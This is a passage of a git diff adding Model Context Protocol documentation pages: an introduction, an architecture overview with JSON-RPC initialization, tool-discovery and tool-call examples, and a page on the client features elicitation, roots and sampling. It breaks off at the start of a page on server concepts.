+Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows.
+
+
+
+ Create custom remote MCP servers to integrate with proprietary tools and
+ services
+
+
+
+ Browse our collection of official and community-created MCP servers
+
+
+
+ Learn how to connect Claude Desktop to local MCP servers for direct system
+ access
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
+
+Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently.
diff --git a/content/mcp/docs/2025-11-25/getting-started/intro.md b/content/mcp/docs/2025-11-25/getting-started/intro.md
new file mode 100644
index 000000000..9bb651b1c
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/getting-started/intro.md
@@ -0,0 +1,58 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# What is the Model Context Protocol (MCP)?
+
+MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.
+
+Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.
+
+Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.
+
+
+
+
+
+## What can MCP enable?
+
+* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant.
+* Claude Code can generate an entire web app using a Figma design.
+* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat.
+* AI models can create 3D designs on Blender and print them out using a 3D printer.
+
+## Why does MCP matter?
+
+Depending on where you sit in the ecosystem, MCP can have a range of benefits.
+
+* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent.
+* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience.
+* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary.
+
+## Broad ecosystem support
+
+MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/), development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers), [Cursor](https://cursor.com/docs/context/mcp), [MCPJam](https://docs.mcpjam.com/getting-started), and many others all support MCP — making it easy to build once and integrate everywhere.
+
+## Start Building
+
+
+
+ Create MCP servers to expose your data and tools
+
+
+
+ Develop applications that connect to MCP servers
+
+
+
+ Build interactive apps that run inside AI clients
+
+
+
+## Learn more
+
+
+
+ Learn the core concepts and architecture of MCP
+
+
diff --git a/content/mcp/docs/2025-11-25/learn/architecture.md b/content/mcp/docs/2025-11-25/learn/architecture.md
new file mode 100644
index 000000000..acf2c527e
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/learn/architecture.md
@@ -0,0 +1,464 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Architecture overview
+
+This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept.
+
+Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application.
+
+For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/2025-11-25/sdk).
+
+## Scope
+
+The Model Context Protocol includes the following projects:
+
+* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers.
+* [MCP SDKs](/docs/2025-11-25/sdk): SDKs for different programming languages that implement MCP.
+* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector)
+* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers.
+
+
+ MCP focuses solely on the protocol for context exchange—it does not dictate
+ how AI applications use LLMs or manage the provided context.
+
+
+## Concepts of MCP
+
+### Participants
+
+MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server.
+
+Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients.
+
+The key participants in the MCP architecture are:
+
+* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients
+* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use
+* **MCP Server**: A program that provides context to MCP clients
+
+**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server.
+When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection.
+
+```mermaid theme={null}
+graph TB
+ subgraph "MCP Host (AI Application)"
+ Client1["MCP Client 1"]
+ Client2["MCP Client 2"]
+ Client3["MCP Client 3"]
+ Client4["MCP Client 4"]
+ end
+
+ ServerA["MCP Server A - Local (e.g. Filesystem)"]
+ ServerB["MCP Server B - Local (e.g. Database)"]
+ ServerC["MCP Server C - Remote (e.g. Sentry)"]
+
+ Client1 ---|"Dedicated connection"| ServerA
+ Client2 ---|"Dedicated connection"| ServerB
+ Client3 ---|"Dedicated connection"| ServerC
+ Client4 ---|"Dedicated connection"| ServerC
+```
+
+Note that **MCP server** refers to the program that serves context data, regardless of
+where it runs. MCP servers can execute locally or remotely. For example, when
+Claude Desktop launches the [filesystem
+server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem),
+the server runs locally on the same machine because it uses the STDIO
+transport. This is commonly referred to as a "local" MCP server. The official
+[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the
+Sentry platform, and uses the Streamable HTTP transport. This is commonly
+referred to as a "remote" MCP server.
+
+### Layers
+
+MCP consists of two layers:
+
+* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including lifecycle management, and core primitives, such as tools, resources, prompts and notifications.
+* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization.
+
+Conceptually the data layer is the inner layer, while the transport layer is the outer layer.
+
+#### Data layer
+
+The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics.
+This layer includes:
+
+* **Lifecycle management**: Handles connection initialization, capability negotiation, and connection termination between clients and servers
+* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client
+* **Client features**: Enables servers to ask the client to sample from the host LLM, elicit input from the user, and log messages to the client
+* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations
+
+#### Transport layer
+
+The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants.
+
+MCP supports two transport mechanisms:
+
+* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead.
+* **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens.
+
+The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms.
+
+### Data Layer Protocol
+
+A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients.
+
+MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required.
+
+#### Lifecycle management
+
+MCP is a stateful protocol that requires lifecycle management. The purpose of lifecycle management is to negotiate the capabilities that both client and server support. Detailed information can be found in the [specification](/specification/2025-11-25/basic/lifecycle), and the [example](#example) showcases the initialization sequence.
+
+#### Primitives
+
+MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed.
+
+MCP defines three core primitives that *servers* can expose:
+
+* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries)
+* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses)
+* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples)
+
+Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`).
+MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic.
+
+As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools.
+
+For more details about server primitives see [server concepts](./server-concepts).
+
+MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions.
+
+* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. They can use the `sampling/createMessage` method to request a language model completion from the client's AI application.
+* **Elicitation**: Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. They can use the `elicitation/create` method to request additional information from the user.
+* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes.
+
+For more details about client primitives see [client concepts](./client-concepts).
+
+Besides server and client primitives, the protocol offers cross-cutting utility primitives that augment how requests are executed:
+
+* **Tasks (Experimental)**: Durable execution wrappers that enable deferred result retrieval and status tracking for MCP requests (e.g., expensive computations, workflow automation, batch processing, multi-step operations)
+
+#### Notifications
+
+The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change—such as when new functionality becomes available or existing tools are modified—the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response) and enable MCP servers to provide real-time updates to connected clients.
+
+## Example
+
+### Data Layer
+
+This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate the lifecycle sequence, tool operations, and notifications using JSON-RPC 2.0 messages.
+
+
+
+ MCP begins with lifecycle management through a capability negotiation handshake. As described in the [lifecycle management](#lifecycle-management) section, the client sends an `initialize` request to establish the connection and negotiate supported features.
+
+
+ ```json Initialize Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "initialize",
+ "params": {
+ "protocolVersion": "2025-11-25",
+ "capabilities": {
+ "elicitation": {}
+ },
+ "clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ }
+ }
+ }
+ ```
+
+ ```json Initialize Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "protocolVersion": "2025-11-25",
+ "capabilities": {
+ "tools": {
+ "listChanged": true
+ },
+ "resources": {}
+ },
+ "serverInfo": {
+ "name": "example-server",
+ "version": "1.0.0"
+ }
+ }
+ }
+ ```
+
+
+ #### Understanding the Initialization Exchange
+
+ The initialization process is a key part of MCP's lifecycle management and serves several critical purposes:
+
+ 1. **Protocol Version Negotiation**: The `protocolVersion` field (e.g., "2025-11-25") ensures both client and server are using compatible protocol versions. This prevents communication errors that could occur when different versions attempt to interact. If a mutually compatible version is not negotiated, the connection should be terminated.
+
+ 2. **Capability Discovery**: The `capabilities` object allows each party to declare what features they support, including which [primitives](#primitives) they can handle (tools, resources, prompts) and whether they support features like [notifications](#notifications). This enables efficient communication by avoiding unsupported operations.
+
+ 3. **Identity Exchange**: The `clientInfo` and `serverInfo` objects provide identification and versioning information for debugging and compatibility purposes.
+
+ In this example, the capability negotiation demonstrates how MCP primitives are declared:
+
+ **Client Capabilities**:
+
+ * `"elicitation": {}` - The client declares it can work with user interaction requests (can receive `elicitation/create` method calls)
+
+ **Server Capabilities**:
+
+ * `"tools": {"listChanged": true}` - The server supports the tools primitive AND can send `tools/list_changed` notifications when its tool list changes
+ * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods)
+
+ After successful initialization, the client sends a notification to indicate it's ready:
+
+ ```json Notification theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/initialized"
+ }
+ ```
+
+ #### How This Works in AI Applications
+
+ During initialization, the AI application's MCP client manager establishes connections to configured servers and stores their capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates.
+
+ ```python Pseudo-code for AI application initialization theme={null}
+ # Pseudo Code
+ async with stdio_client(server_config) as (read, write):
+ async with ClientSession(read, write) as session:
+ init_response = await session.initialize()
+ if init_response.capabilities.tools:
+ app.register_mcp_server(session, supports_tools=True)
+ app.set_server_ready(session)
+ ```
+
+
+
+ Now that the connection is established, the client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism — it allows clients to understand what tools are available on the server before attempting to use them.
+
+
+ ```json Tools List Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "tools/list"
+ }
+ ```
+
+ ```json Tools List Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "tools": [
+ {
+ "name": "calculator_arithmetic",
+ "title": "Calculator",
+ "description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "expression": {
+ "type": "string",
+ "description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')"
+ }
+ },
+ "required": ["expression"]
+ }
+ },
+ {
+ "name": "weather_current",
+ "title": "Weather Information",
+ "description": "Get current weather information for any location worldwide",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "location": {
+ "type": "string",
+ "description": "City name, address, or coordinates (latitude,longitude)"
+ },
+ "units": {
+ "type": "string",
+ "enum": ["metric", "imperial", "kelvin"],
+ "description": "Temperature units to use in response",
+ "default": "metric"
+ }
+ },
+ "required": ["location"]
+ }
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Understanding the Tool Discovery Request
+
+ The `tools/list` request is simple, containing no parameters.
+
+ #### Understanding the Tool Discovery Response
+
+ The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.
+
+ Each tool object in the response includes several key fields:
+
+ * **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`)
+ * **`title`**: A human-readable display name for the tool that clients can show to users
+ * **`description`**: Detailed explanation of what the tool does and when to use it
+ * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters
+
+ #### How This Works in AI Applications
+
+ The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations.
+
+ ```python Pseudo-code for AI application tool discovery theme={null}
+ # Pseudo-code using MCP Python SDK patterns
+ available_tools = []
+ for session in app.mcp_server_sessions():
+ tools_response = await session.list_tools()
+ available_tools.extend(tools_response.tools)
+ conversation.register_available_tools(available_tools)
+ ```
+
+
+
+ The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments.
+
+ #### Understanding the Tool Execution Request
+
+ The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name:
+
+
+ ```json Tool Call Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "method": "tools/call",
+ "params": {
+ "name": "weather_current",
+ "arguments": {
+ "location": "San Francisco",
+ "units": "imperial"
+ }
+ }
+ }
+ ```
+
+ ```json Tool Call Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "result": {
+ "content": [
+ {
+ "type": "text",
+ "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%"
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Key Elements of Tool Execution
+
+ The request structure includes several important components:
+
+ 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute.
+
+ 2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example:
+ * `location`: "San Francisco" (required parameter)
+ * `units`: "imperial" (optional parameter, defaults to "metric" if not specified)
+
+ 3. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation.
+
+ #### Understanding the Tool Execution Response
+
+ The response demonstrates MCP's flexible content system:
+
+ 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.)
+
+ 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases.
+
+ 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions.
+
+ This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models.
+
+ #### How This Works in AI Applications
+
+ When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world.
+
+ ```python theme={null}
+ # Pseudo-code for AI application tool execution
+ async def handle_tool_call(conversation, tool_name, arguments):
+ session = app.find_mcp_session_for_tool(tool_name)
+ result = await session.call_tool(tool_name, arguments)
+ conversation.add_tool_result(result.content)
+ ```
+
+
+
+ MCP supports real-time notifications that enable servers to inform clients about changes without being explicitly requested. This demonstrates the notification system, a key feature that keeps MCP connections synchronized and responsive.
+
+ #### Understanding Tool List Change Notifications
+
+ When the server's available tools change—such as when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable—the server can proactively notify connected clients:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/tools/list_changed"
+ }
+ ```
+
+ #### Key Features of MCP Notifications
+
+ 1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent.
+
+ 2. **Capability-Based**: This notification is only sent by servers that declared `"listChanged": true` in their tools capability during initialization (as shown in Step 1).
+
+ 3. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive.
+
+ #### Client Response to Notifications
+
+ Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 4,
+ "method": "tools/list"
+ }
+ ```
+
+ #### Why Notifications Matter
+
+ This notification system is crucial for several reasons:
+
+ 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions
+ 2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur
+ 3. **Consistency**: Ensures clients always have accurate information about available server capabilities
+ 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts
+
+ This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers.
+
+ #### How This Works in AI Applications
+
+ When the AI application receives a notification about changed tools, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available.
+
+ ```python theme={null}
+ # Pseudo-code for AI application notification handling
+ async def handle_tools_changed_notification(session):
+ tools_response = await session.list_tools()
+ app.update_available_tools(session, tools_response.tools)
+ if app.conversation.is_active():
+ app.conversation.notify_llm_of_new_capabilities()
+ ```
+
+
diff --git a/content/mcp/docs/2025-11-25/learn/client-concepts.md b/content/mcp/docs/2025-11-25/learn/client-concepts.md
new file mode 100644
index 000000000..de1cec849
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/learn/client-concepts.md
@@ -0,0 +1,236 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP clients
+
+MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server.
+
+Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections.
+
+## Core Client Features
+
+In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions.
+
+| Feature | Explanation | Example |
+| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
+| **Elicitation** | Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand. | A server booking travel may ask for the user's preferences on airplane seats, room type or their contact number to finalise a booking. |
+| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. |
+| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. |
+
+### Elicitation
+
+Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows.
+
+#### Overview
+
+Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns.
+
+**Elicitation flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant User
+ participant Client
+ participant Server
+
+ Note over Server,Client: Server initiates elicitation
+ Server->>Client: elicitation/create
+
+ Note over Client,User: Human interaction
+ Client->>User: Present elicitation UI
+ User-->>Client: Provide requested information
+
+ Note over Server,Client: Complete request
+ Client-->>Server: Return user response
+
+ Note over Server: Continue processing with new information
+```
+
+The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers continue processing with the newly acquired context.
+
+**Elicitation components example:**
+
+```typescript theme={null}
+{
+ method: "elicitation/create",
+ params: {
+ message: "Please confirm your Barcelona vacation booking details:",
+ requestedSchema: {
+ type: "object",
+ properties: {
+ confirmBooking: {
+ type: "boolean",
+ description: "Confirm the booking (Flights + Hotel = $3,000)"
+ },
+ seatPreference: {
+ type: "string",
+ enum: ["window", "aisle", "no preference"],
+ description: "Preferred seat type for flights"
+ },
+ roomType: {
+ type: "string",
+ enum: ["sea view", "city view", "garden view"],
+ description: "Preferred room type at hotel"
+ },
+ travelInsurance: {
+ type: "boolean",
+ default: false,
+ description: "Add travel insurance ($150)"
+ }
+ },
+ required: ["confirmBooking"]
+ }
+ }
+}
+```
+
+#### Example: Holiday Booking Approval
+
+A travel booking server demonstrates elicitation's power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding.
+
+The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total \$3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options.
+
+As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information.
+
+#### User Interaction Model
+
+Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy:
+
+**Request presentation**: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the purpose while the schema provides structure and validation.
+
+**Response options**: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers.
+
+**Privacy considerations**: Elicitation never requests passwords or API keys. Clients warn about suspicious requests and let users review data before sending.
+
+### Roots
+
+Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on.
+
+#### Overview
+
+Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing.
+
+**Root structure:**
+
+```json theme={null}
+{
+ "uri": "file:///Users/agent/travel-planning",
+ "name": "Travel Planning Workspace"
+}
+```
+
+Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can be updated dynamically as users work with different projects or folders, with servers receiving notifications through `roots/list_changed` when boundaries change.
+
+#### Example: Travel Planning Workspace
+
+A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning.
+
+The client provides filesystem roots to the travel planning server:
+
+* `file:///Users/agent/travel-planning` - Main workspace containing all travel files
+* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources
+* `file:///Users/agent/client-documents` - Client passports and travel documents
+
+When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries.
+
+If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client updates the roots list via `roots/list_changed`.
+
+For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository.
+
+#### Design Philosophy
+
+Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control.
+
+Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically).
+
+#### User Interaction Model
+
+Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management:
+
+**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work.
+
+**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records.
+
+### Sampling
+
+Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control.
+
+#### Overview
+
+Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window.
+
+**Sampling flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant LLM
+ participant User
+ participant Client
+ participant Server
+
+ Note over Server,Client: Server initiates sampling
+ Server->>Client: sampling/createMessage
+
+ Note over Client,User: Human-in-the-loop review
+ Client->>User: Present request for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Client,LLM: Model interaction
+ Client->>LLM: Forward approved request
+ LLM-->>Client: Return generation
+
+ Note over Client,User: Response review
+ Client->>User: Present response for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Server,Client: Complete request
+ Client-->>Server: Return approved response
+```
+
+The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before it returns to the server.
+
+**Request parameters example:**
+
+```typescript theme={null}
+{
+ messages: [
+ {
+ role: "user",
+ content: "Analyze these flight options and recommend the best choice:\n" +
+ "[47 flights with prices, times, airlines, and layovers]\n" +
+ "User preferences: morning departure, max 1 layover"
+ }
+ ],
+ modelPreferences: {
+ hints: [{
+ name: "claude-sonnet-4-20250514" // Suggested model
+ }],
+ costPriority: 0.3, // Less concerned about API cost
+ speedPriority: 0.2, // Can wait for thorough analysis
+ intelligencePriority: 0.9 // Need complex trade-off evaluation
+ },
+ systemPrompt: "You are a travel expert helping users find the best flights based on their preferences",
+ maxTokens: 1500
+}
+```
+
+#### Example: Flight Analysis Tool
+
+Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs.
+
+The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover."
+
+The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations.
+
+#### User Interaction Model
+
+While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms:
+
+**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests.
+
+**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server.
+
+**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information.
+
+**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-initiated AI interactions cannot compromise security or access sensitive data without explicit user consent.
diff --git a/content/mcp/docs/2025-11-25/learn/server-concepts.md b/content/mcp/docs/2025-11-25/learn/server-concepts.md
new file mode 100644
index 000000000..f38084cbc
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/learn/server-concepts.md
@@ -0,0 +1,285 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP servers
+
